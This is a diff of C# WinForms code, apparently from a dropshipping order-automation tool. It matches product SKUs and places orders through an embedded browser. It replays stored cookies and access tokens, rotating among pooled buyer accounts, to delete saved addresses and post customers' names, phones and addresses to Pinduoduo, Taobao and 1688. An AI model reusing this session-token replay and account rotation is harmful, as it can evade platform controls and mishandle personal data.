GetHtml.UrlEncodeUtf8(data)); + + string url = "https://h5api.m.taobao.com/h5/mtop.taobao.mbis.deletedeliveraddressbyid/1.0/?" + bufferdelete.ToString(); + string htmlxt = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://member1.taobao.com/member/fresh/deliver_address.htm", true, "", cookies); + Thread.Sleep(1000); + } + } + + private void btGoProduct_Click(object sender, EventArgs e) + { + if (UpId.Contains("tb-")) + { + cefWebBrowser1.Load("https://item.taobao.com/item.htm?id=" + goodsId); + } + else if (UpId.Contains("al-")) + { + cefWebBrowser1.Load("https://detail.1688.com/offer/" + goodsId + ".html"); + } + else if (UpId.Contains("dy-")) + { + cefWebBrowser1.Load("https://haohuo.jinritemai.com/views/product/item2?id=" + goodsId); + } + else + { + cefWebBrowser1.Load("https://yangkeduo.com/goods.html?goods_id=" + goodsId); + } + cefWebBrowser1.Refresh(); + } + + private void btbuySku_Click(object sender, EventArgs e) + { + ProductDtailBase t = new ProductDtailBase(); + t.FromId = goodsId; + PinduoduoProductCollect pro = new PinduoduoProductCollect(bName, t); + pro.TempHtml = detailHtml; + pro.Get(); + var pb = pro.pb; + + long sku = 0; + decimal minPrice = int.MaxValue; + string skuBefor = combSkuList.Text;//Order.sku; + for (int i = 0; !string.IsNullOrEmpty(skuBefor) && i < SignWordBase.Length; i++) + { + skuBefor = skuBefor.Replace(SignWordBase[i].ToString(), ""); + } + if (string.IsNullOrEmpty(skuBefor)) + skuBefor = ""; + skuBefor = skuBefor.Replace("(", "(").Replace(")", ")").ToLower(); + + decimal noGroupPrice = 0; + decimal buyPrice = 0; + string[] l = skuBefor.Split(':'); + bool hadSku = false; + if (pb.SkuMaps.Count != 0) + { + Skumaps = pb.SkuMaps; + } + + #region 拍单时匹配规格 + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + for (int j = 0; !string.IsNullOrEmpty(pb.SkuMaps[i].name) && j < SignWordBase.Length; j++) + { + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace(SignWordBase[j].ToString(), ""); + } + if (pb.SkuMaps[i].price < minPrice) + { + minPrice = pb.SkuMaps[i].price; + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + } + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace("(", "(").Replace(")", ")").ToLower(); + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace("\"", "").Replace(";", ""); + bool had = false; + + //先精准匹配在模糊匹配 + bool isMatch0 = false;//匹配标识1 + bool isMatch1 = false;//匹配标识2 匹配标识都为true时,则精准匹配 匹配成功,否则进行模糊匹配 + var skuArr = pb.SkuMaps[i].name.Split(';'); + if (skuArr.Length > 0) + { + for (int k = 0; k < skuArr.Length; k++) + { + string skus = skuArr[k]; + if (string.IsNullOrEmpty(skus)) + { + continue; + } + string[] skuL = skus.Split(':'); + if (skuL.Length == 2 && l.Length == 2) + { + if (skuL[0] == l[0]) + { + isMatch0 = true; + } + if (skuL[1] == l[1]) + { + isMatch1 = true; + } + } + + } + + if (isMatch0 && isMatch1)//精准匹配 匹配成功 + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + //SkuImg = pb.SkuMaps[i].prop_image; + hadSku = true; + break; + } + + } + //精准匹配未匹配成功则进行模糊匹配 + if (!isMatch0 && !isMatch1) + { + if (l.Length == 1 && !string.IsNullOrEmpty(skuBefor) && pb.SkuMaps[i].name.Contains(":" + skuBefor) || l.Length == 2 && !string.IsNullOrEmpty(skuBefor) && pb.SkuMaps[i].name.Contains(":" + l[0]) && pb.SkuMaps[i].name.Contains(":" + l[1])) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + //SkuImg = pb.SkuMaps[i].pinduoduo_image; + //SkuImg = pb.SkuMaps[i].prop_image; + hadSku = true; + break; + } + } + if (pb.SkuMaps.Count == 1 && pb.SkuMaps[0].name == "")//没有规格 + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + //SkuImg = pb.SkuMaps[i].prop_image; + hadSku = true; + break; + } + } + #endregion + + + Pb = pb; + Html = detailHtml; + Thread.Sleep(1000); + PutToBuy(sku, noGroupPrice, buyPrice); + } + + private void textBoxXProfit_TextChanged(object sender, EventArgs e) + { + if (textBoxXProfit.Text.Contains("-")) + { + MessageBox.Show("本单亏本,请注意。"); + } + } + + + #endregion + + + #region 删除并重新匹配地址 + + private void btupdateAddress_Click(object sender, EventArgs e) + { + if (UpId.StartsWith("tb-")) + { + AutoMatchTbAddress(); + } + else if (UpId.StartsWith("pd-") || UpId.StartsWith("pdd-")) + { + // 拼多多批发 + if (GlobalConfig.SystemSettings.IsUsePddPifa) + { + AsycAutoMatchPddPifaAddress(); + } + else + { + //获取所有地址并删除 + DelPddAddress(); + AsycAutoMatchPddAddress();//导入当前买家地址 + } + } + //MessageBox.Show("已提交地址"); + //new Thread(()=>{ + + cefWebBrowser1.Load(webUrl); + cefWebBrowser1.Refresh(); + + //}); + } + #endregion + + private void BuyOrderForms_FormClosing(object sender, FormClosingEventArgs e) + { + if (string.IsNullOrEmpty(order_id_buy) && pnlManualSaveBuyOrderId.Visible == false) + { + BaseMsgForm.ShowInfo("未获取到拍单订单号,如果已完成拍单,请在下方手动填写。"); + pnlManualSaveBuyOrderId.Visible = true; + e.Cancel = true; + } + } + + private void btnManualSave_Click(object sender, EventArgs e) + { + // 手动设置拍单成功 + PayAmount = tbproductjj.Text; + order_id_buy = txtManualBuyOrderId.Text; + try + { + if (!string.IsNullOrEmpty(order_id_buy)) + { + if (cefWebBrowser1 != null) + { + var jsCode = "window.location.href;"; + + var task = cefWebBrowser1.GetMainFrame().EvaluateScriptAsync(jsCode, null); + var result = task.Result?.Result?.ToString(); + if (!string.IsNullOrEmpty(result)) + { + if (!Directory.Exists("logs")) + Directory.CreateDirectory("logs"); + + string buyUserNameForManual = ""; + var buyuser = GetBuyerUser(); + if (buyuser.Value != null) + { + buyUserNameForManual = buyuser.Key.name; + } + File.AppendAllText("logs\\buy_order_id_failed_" + DateTime.Now.ToString("yyyyMMdd"), + buyUserNameForManual + " " + order_id_buy + " " + result + "\r\n"); + } + } + } + } + catch (Exception ex) { } + new Thread(UpdateToServer).Start(); + this.Close(); + } + + private void btnExit_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void DelPddAddress() + { + string buyerCookie = ""; + if (GlobalConfig.SystemSettings.IsUseMultiBuyer) + { + BaseClass.PddUid = multiUserCookie.pdd_user_id; + buyerCookie = "PDDAccessToken=" + multiUserCookie.cookies + ";"; + } + else + { + buyerCookie = GetPostTaobaoHtml.GetCookies(BaseClass.PddMobileUrl, ""); + } + + #region 删除之前的地址 + string urlxx = BaseClass.PddMobileUrl + "addresses.html?refer_page_name=personal&refer_page_id=10001_1544426591116_hIkrp9qCEK&refer_page_sn=10001"; + string referexx = "https://yangkeduo.com"; + string htmx = GetPostTaobaoHtml.UploadTaobao(urlxx, referexx, true, buyerCookie); + if (!string.IsNullOrEmpty(BaseClass.PddUid) && htmx.Contains("远程服务器返回错误")) + { + if (goodsId > 0) + { + MessageBox.Show("服务器吃撑了,请重新登录"); + //Thread.Sleep(1000); + //Invoke(new delegateBool(mainNForm.loginPdd), isPinBuyer); + } + return; + } + #endregion + + htmx = BaseRegex.GetMatchRegexString(htmx, @"window.rawData=([^;]+)"); + var mx = BaseRegex.GetMatchRegex(ref htmx, "{\"lineHeight\":[\\s\\S]+?\"addressId\":([\\s\\S]+?)}"); + if (mx == null) + { + return; + } + if (mx.Count == 0) + { + mx = BaseRegex.GetMatchRegex(ref htmx, "(\"addressId\":[\\s\\S]+?\"invalidText\":\"[\\s\\S]*?\")"); + } + if (mx != null) + { + string refere = "https://yangkeduo.com"; + for (int i = 0; i < mx.Count; i++) + { + var mxItem = mx[i].Groups[0].Value; + string addressId = BaseRegex.GetStringJson(ref mxItem, "addressId");//地址ID + string url = BaseClass.PddMobileUrlx + "proxy/api/api/origenes/address/delete/" + addressId + "?pdduid=" + BaseClass.PddUid; + htmx = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, "", false, buyerCookie); + Thread.Sleep(500); + } + } + } + + private void btnChangeMultiBuyer_Click(object sender, EventArgs e) + { + if (GlobalConfig.SystemSettings.IsUseMultiBuyer && GlobalConfig.LstMultiBuyer != null && multiUserCookie != null) + { + multiUserCookie.times = multiUserCookie.times - 1; + string url = BaseClass.DouYinBuildObjString("pdd_user_cookies&act=update"); + string param = UserLogin.GetSignaturex() + "&pdd_user_id=" + multiUserCookie.pdd_user_id + "×=" + multiUserCookie.times; + string html = GetHtml.PostUtf8(url, param); + + multiUserCookie = null; + List userCookies = GlobalConfig.LstMultiBuyer.FindAll(x => x.times > 0); + if (userCookies.Count > 0) + { + multiUserCookie = userCookies[Randomx.GetId(0, userCookies.Count)]; + } + if (multiUserCookie == null) + { + BaseMsgForm.ShowError("多买手模式调用失败,无法获取买手管理中的买手号", "错误"); + this.Close(); + return; + } + } + + Task.Run(() => + { + DelPddAddress(); //获取所有地址并删除 + AsycAutoMatchPddAddress(); //导入当前买家地址 + Thread.Sleep(2000); + var currentUrl = this.cefWebBrowser1.Address; + if (currentUrl.Contains("yangkeduo.com/order_checkout.html")) + { + change_pddbuyuser(currentUrl, this.datajsons); + } + }); + } + + #region 禁用alert事件 + private void StopAlertEvent() + { + try + { + string js = "window.alert=function(){return false;};"; + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(js); + + js = "window.confirm = function(){return false;}"; + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(js); + } + catch (Exception) + { + + } + + } + #endregion + + + + #region 1688增加地址 + + public void AddTaoBaoAddress() + { + + string urlx = "https://tradeconfig.1688.com/foundation/receive_address_manager.htm"; + string refer = "https://member.1688.com/alipay/alipay_manager.htm"; + string html = GetPostTaobaoHtml.UploadTaobao(urlx, refer, true); + + string pattern = @"data-csrftoken=""([\w\W]+?)"""; + var tokenMatch = BaseRegex.GetMatchRegex(html, pattern); + if (tokenMatch == null || tokenMatch.Count <= 0) return; + string token = tokenMatch[0].Groups[1].Value; + if (string.IsNullOrEmpty(token))//没有登录获取token获取失败 + { + return; + } + + string addressstr = Address; + + #region 匹配省市区镇 + + string patternProv = @"([\w]+?省|[\w]+?自治区)"; + var mc = BaseRegex.GetMatchRegex(addressstr, patternProv); + string prov = string.Empty; + if (mc.Count > 0) + { + prov = mc[0].Groups[1].ToString(); + } + else if (addressstr.Contains("上海") | addressstr.Contains("北京") | addressstr.Contains("天津") | addressstr.Contains("重庆")) + { + patternProv = @"(上海|北京|天津|重庆)"; + mc = BaseRegex.GetMatchRegex(addressstr, patternProv); + prov = mc[0].Groups[1].ToString(); + } + if (string.IsNullOrEmpty(prov)) return; + //匹配市 + //string patternCity = @"(?[^市|^省|^县|^区]+?[市])"; + string patternCity = @"([^市|^省|^自治区|^县|^区]+?(市|自治州))"; + //mc = Regex.Matches(addressstr, patternCity, RegexOptions.IgnoreCase); + mc = BaseRegex.GetMatchRegex(addressstr, patternCity); + string city = ""; + if (mc.Count > 0) + { + city = mc[0].Groups[1].ToString(); + } + addressstr = addressstr.Substring(addressstr.IndexOf(city) + city.Length); + //匹配区 + string patternArea = @"([^县|^区|^省|^自治区]+?[市|县|区])"; + //mc = Regex.Matches(addressstr, patternArea, RegexOptions.IgnoreCase); + mc = BaseRegex.GetMatchRegex(addressstr, patternArea); + string area = ""; + if (mc.Count > 0) + { + area = mc[0].Groups[1].ToString(); + } + //匹配镇 + string patternTown = @"([^镇|^省|^自治区|^市|^县|^区]+?(镇|路|街道))"; + //mc = Regex.Matches(addressstr, patternTown, RegexOptions.IgnoreCase); + mc = BaseRegex.GetMatchRegex(addressstr, patternTown); + string town = ""; + if (mc.Count > 0) + { + town = mc[0].Groups[1].ToString(); + } + #endregion + + + //获取省、市、县名称 + if (prov.Contains("自治区")) + { + if (prov.Contains("内蒙古")) + { + prov = "内蒙古"; + } + else + { + prov = prov.Substring(0, 2); + } + } + if (prov.Contains("省")) + { + prov = prov.Remove(prov.Length - 1, 1); + } + + //city = city == "" ? "" : city.Remove(city.Length - 1, 1); + //area = area == "" ? "" : area.Remove(area.Length - 1, 1); + + //定义省、市、县、区编号 + int provid = 0; + int cityid = 0; + int areaid = 0; + + //获取省的编号 + foreach (AddressBase item in mainform.AddressAllList) + { + if (item.Name.Contains(prov)) + { + provid = item.Id; + break; + } + } + provid = mainform.AddressAllList.Find(x => x != null && x.Name.Contains(prov)).Id; + if (provid == 0) + { + MessageBox.Show("省份识别失败,请手动填写地址", "提示"); + return; + } + + //获取市的编号 + var citys = mainform.Addressdic[provid]; + AddressBase cityAddress = citys.Find(c => c != null && city.Contains(c.Name)); + if (cityAddress != null) + { + cityid = cityAddress.Id; + } + if (citys.Count > 0 && (city.Equals("上海") || city.Equals("北京") || city.Equals("天津") || city.Equals("重庆"))) + { + cityid = citys[0].Id; + } + if (cityid == 0) + { + MessageBox.Show("城市识别失败,请手动填写地址", "提示"); + return; + } + + //获取区的编号 + var areas = mainform.Addressdic[cityid]; + AddressBase areaAddress = areas.Find(a => a != null && area.Contains(a.Name)); + if (areaAddress != null) areaid = areaAddress.Id; + + //获取镇的编号 + string url = "https://wuliu.1688.com/address/ajax/get_children_address_list.jsx?_input_charset=UTF-8&callback=jQuery172026174634437107835_1529388252300&code=" + areaid + "&_=1529388287945"; + + string htmlxt = GetPostTaobaoHtml.UploadTaobao(url, "", true); + + var m = BaseRegex.GetMatchRegex(htmlxt, @"""a"":""([\d]+?)"",[\w\W]+?,""n"":""([\w\W]+?)"""); + List towns = new List(); + for (int i = 0; m != null && i < m.Count; i++) + { + string id = m[i].Groups[1].Value; + string t = m[i].Groups[2].Value; + if (string.IsNullOrEmpty(id) || string.IsNullOrEmpty(t)) + { + continue; + } + towns.Add(new KeyValueBase(id, t)); + } + //镇编号 + string townid = matchingMethod(town, towns); + + url = "https://tradeconfig.1688.com/foundation/receive_address_manager.htm"; + string refere = "https://member.1688.com/alipay/alipay_manager.htm"; + string htmlx = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + pattern = @""; + var addressIDMatch = BaseRegex.GetMatchRegex(html, pattern); + if (addressIDMatch == null) return; + for (int i = 0; i < addressIDMatch.Count; i++) + { + string oldId = addressIDMatch[i].Groups[1].Value; + string urldel = "https://tradeconfig.1688.com/foundation/ajax/operate_receive_address.jsx?_input_charset=UTF-8"; + string referedel = "https://tradeconfig.1688.com/foundation/receive_address_manager.htm"; + StringBuilder bufferdel = new StringBuilder(); + bufferdel.AppendFormat("addressIds={0}", GetHtml.UrlEncodeUtf8(oldId)); + bufferdel.AppendFormat("&operateType={0}", GetHtml.UrlEncodeUtf8("batch_delete")); + bufferdel.AppendFormat("&_csrf_token={0}", GetHtml.UrlEncodeUtf8(token)); + string datadel = bufferdel.ToString(); + string htmldel = GetPostTaobaoHtml.UploadTaobaoPost(urldel, referedel, true, datadel); + } + + string proName = prov; + if (proName.Contains("内蒙")) + { + proName = "内蒙古自治区"; + } + else if (proName.Contains("广西")) + { + proName = "广西壮族自治区"; + } + else if (proName.Contains("宁夏")) + { + proName = "宁夏回族自治区"; + } + else if (proName.Contains("新疆")) + { + proName = "新疆维吾尔自治区"; + } + else + { + proName = proName + "省"; + } + + url = "https://tradeconfig.1688.com/foundation/ajax/operate_receive_address.jsx?_input_charset=UTF-8"; + string proCode = provid.ToString(); + //string proName = prov; + int provlevel = 1; + + string cityCode = cityid.ToString(); + string cityName = city; + string cityparentcode = provid.ToString(); + int citylevel = 2; + + string areaCode = areaid.ToString(); + string areaName = area; + string areaparentcode = cityid.ToString(); + int arealevel = 3; + + string townCode = townid.ToString(); + string townName = town; + string townparentcode = areaid.ToString(); + int townlevel = 4; + + string postCode = "000000"; + string fullName = bName;//Order.name; + string addressdetail = Address;//address.addressDetail; + string addressCode = areaid.ToString(); + string mobile = Mobile;// Order.mobile; + string addressCodeText = proName + " " + cityName + " " + areaName; ; + string provinceCode = provid.ToString(); + string cityCodedetail = cityid.ToString(); + string areacodedetail = areaid.ToString(); + string townCodedetail = townid.ToString(); + + string provinceNamedetial = prov; + string cityNamedetail = city; + string areaNamedetail = area; + string townNamedetail = town; + bool isDefault = false; + bool isInland = true; + string addressNamePath = proName + " " + cityName + " " + areaName + " " + townName; ; + string operateType = "add"; + string _csrf_token = token; + + + + + StringBuilder buffer = new StringBuilder(); + buffer.AppendFormat("isNew={0}", true); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[0][code]") + "={0}", GetHtml.UrlEncodeUtf8(proCode)); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[0][name]") + "={0}", GetHtml.UrlEncodeUtf8(proName)); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[0][level]") + "={0}", provlevel); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[1][code]") + "={0}", GetHtml.UrlEncodeUtf8(cityCode)); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[1][parentCode]") + "={0}", GetHtml.UrlEncodeUtf8(cityparentcode)); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[1][name]") + "={0}", GetHtml.UrlEncodeUtf8(cityName)); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[1][level]") + "={0}", citylevel); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[2][code]") + "={0}", GetHtml.UrlEncodeUtf8(areaCode)); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[2][parentCode]") + "={0}", GetHtml.UrlEncodeUtf8(areaparentcode)); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[2][name]") + "={0}", GetHtml.UrlEncodeUtf8(areaName)); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[2][level]") + "={0}", arealevel); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[3][code]") + "={0}", GetHtml.UrlEncodeUtf8(townCode)); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[3][parentCode]") + "={0}", GetHtml.UrlEncodeUtf8(townparentcode)); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[3][name]") + "={0}", GetHtml.UrlEncodeUtf8(townName)); + buffer.AppendFormat("&" + GetHtml.UrlEncodeUtf8("addressPath[3][level]") + "={0}", townlevel); + buffer.AppendFormat("&fullName={0}", GetHtml.UrlEncodeUtf8(fullName)); + buffer.AppendFormat("&address_={0}", GetHtml.UrlEncodeUtf8(addressdetail)); + buffer.AppendFormat("&addressCode={0}", GetHtml.UrlEncodeUtf8(addressCode)); + buffer.AppendFormat("&mobile={0}", GetHtml.UrlEncodeUtf8(mobile)); + buffer.AppendFormat("&phone=&phoneCode=&phoneNumber=&phoneSubCode=&postCode={0}", + GetHtml.UrlEncodeUtf8(postCode)); + buffer.AppendFormat("&addressCodeText={0}", GetHtml.UrlEncodeUtf8(addressCodeText)); + buffer.AppendFormat("&provinceCode={0}", GetHtml.UrlEncodeUtf8(provinceCode)); + buffer.AppendFormat("&cityCode={0}", GetHtml.UrlEncodeUtf8(cityCodedetail)); + buffer.AppendFormat("&areaCode={0}", GetHtml.UrlEncodeUtf8(areacodedetail)); + buffer.AppendFormat("&townCode={0}", GetHtml.UrlEncodeUtf8(townCodedetail)); + buffer.AppendFormat("&provinceName={0}", GetHtml.UrlEncodeUtf8(provinceNamedetial)); + buffer.AppendFormat("&cityName={0}", GetHtml.UrlEncodeUtf8(cityNamedetail)); + buffer.AppendFormat("&areaName={0}", GetHtml.UrlEncodeUtf8(areaNamedetail)); + buffer.AppendFormat("&townName={0}", GetHtml.UrlEncodeUtf8(townNamedetail)); + buffer.AppendFormat("&isDefault={0}", isDefault); + buffer.AppendFormat("&isInland={0}", isInland); + buffer.AppendFormat("&addressNamePath={0}", GetHtml.UrlEncodeUtf8(addressNamePath)); + buffer.AppendFormat("&operateType={0}", GetHtml.UrlEncodeUtf8(operateType)); + buffer.AppendFormat("&_csrf_token={0}", GetHtml.UrlEncodeUtf8(_csrf_token)); + + refere = "https://tradeconfig.1688.com/foundation/receive_address_manager.htm"; + string data = buffer.ToString(); + htmlx = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data); + + m = BaseRegex.GetMatchRegex(htmlx, @"""addressId"":""([\d]+?)"""); + if (m == null || m.Count <= 0) return; + string addressId = m[0].Groups[1].Value; + data = "addressId=" + addressId + "&operateType=set_default&_csrf_token=" + _csrf_token + ""; + url = "https://tradeconfig.1688.com/foundation/ajax/operate_receive_address.jsx?_input_charset=UTF-8"; + refere = "https://tradeconfig.1688.com/foundation/receive_address_manager.htm"; + htmlx = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data); + } + + + #endregion + public void LoadSales() + { + SalesAmountTextBox.Text = SalesVolume; + UpShopProNumTextBoxX.Text = ShopProductNum; + } + + private string GetCefHtml(ChromiumWebBrowser cefBrowser) + { + try + { + Task task = cefBrowser.GetBrowser().MainFrame.GetSourceAsync(); + task.Wait(); + return task.Result; + } + catch + { + return ""; + } + } + + public string clickJsElementStr = "function getElement(txt, elem) {\r\n" + + " var child = document.body.firstElementChild;\r\n" + + " if (elem) child = elem\r\n" + + " var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " return element1;\r\n" + + " } else return false;\r\n" + + "}\r\n"; + } +} diff --git a/29WxOrder/OrderForms/BuyOrderForms.resx b/29WxOrder/OrderForms/BuyOrderForms.resx new file mode 100644 index 0000000..312dbf0 --- /dev/null +++ b/29WxOrder/OrderForms/BuyOrderForms.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQeAAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + 